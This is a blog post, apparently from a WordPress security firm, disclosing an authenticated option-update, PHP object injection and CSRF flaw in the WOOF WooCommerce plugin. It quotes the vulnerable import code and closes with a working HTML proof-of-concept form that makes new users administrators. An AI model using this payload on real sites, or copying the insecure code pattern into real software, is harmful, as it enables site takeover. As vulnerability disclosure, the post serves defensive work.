9 Aug 2022

WooCommerce Extending Plugin With 100,000+ Installs Contains Authenticated Option Update Vulnerability Possibly Targeted by Hacker

Early today a topic on the support forum for the WordPress plugin WOOF, which extends WooCommerce and has 100,000+ active installations, suggesting that a security issue in might be being exploited. The poster wrote this:

Can you elaborate on what you did here for the fix? We noticed a lot of client’s had products from like other sites that were not related. Curious to know what happened if anything on your end.

And this:

Update to this. Your app is definitely STILL hacked and is porting clothing from unknown sources. I’d remove it from the repo if I were you. @wordpress and @automattic and even the #pluginteam should look into this.

Huge red flag

In looking into that, we found that it contains a serious vulnerability, which could have been indirectly used to cause what was described. That vulnerability, an authenticated option update vulnerability, allows a hacker to change arbitrary WordPress options (settings). Among other things, that would allow them to create new WordPress accounts with the Administrator role. With that level of access, they could do just about anything with the website. More concerning here, it appears the developer understood that the code was not secure, but left it in an insecure state.

There appear to be additional security vulnerabilities, so we would recommend not using this plugin unless it has a thorough security review and all issues resolved.

Thankfully, none of the customers of our main service are currently using the plugin. But they would have had protection, as testing confirmed that our firewall plugin for WordPress protected against standard types of of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Option Update

In the file /ext/export_import/index.php, there is a function named do_import_data(), which seemed like it could be connected with what the poster was describing. That function is made accessible to anyone logged in to WordPress through its AJAX functionality:

26
add_action('wp_ajax_woof_do_import_data', array($this, 'do_import_data'));

The code in that function is incredibly insecure:

76
77
78
79
80
81
82
83
84
85
86
87
88
89
public function do_import_data() {
 
	if (!isset($_POST['import_value'])) {
		die(esc_html__("Error! No data", 'woocommerce-products-filter'));
	}
 
	try {
		$options = json_decode(stripcslashes($_POST['import_value']));
 
		foreach ($options as $option_name => $option_data) {
			if (is_serialized($option_data)) {
				$option_data = unserialize($option_data);
			}
			update_option($option_name, $option_data);

Among the issues, it doesn’t limit who can access it, so anyone logged in to WordPress can use the functionality. That is more of concern on a website running WooCommerce since it is more likely to allow untrusted individuals to have access to WordPress accounts.

Another issues is that it isn’t actually limited to importing data related to the plugin, as the code will update arbitrary WordPress options as user input from the POST input “import_value” is passed to the update_option() function.

The code also passes user input to the unserialize() function, which allows PHP object injection to occur as well.

There is a lack of a nonce check, so an attacker could cause someone else who is logged in to WordPress to exploit the vulnerabilities without intending it, which is known as cross-site request forgery (CSRF).

As far as we can tell so far, this code only runs if the plugin’s Import/Export extension is enabled. The description provided for that is as follows:

Import/Export woof settings. After using VERY recommend to disable it! Your customers or you can accidentally harm WOOF settings, so disable it after use!

If the code was properly secured, customers couldn’t access it even if enabled. Suggesting disabling it instead is a puzzling response to its insecurity.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the default role for new users to Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=woof_do_import_data"  method="POST">
<input type="hidden" name="import_value" value='{"default_role": "administrator"}' />
<input type="submit" name="import_data" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.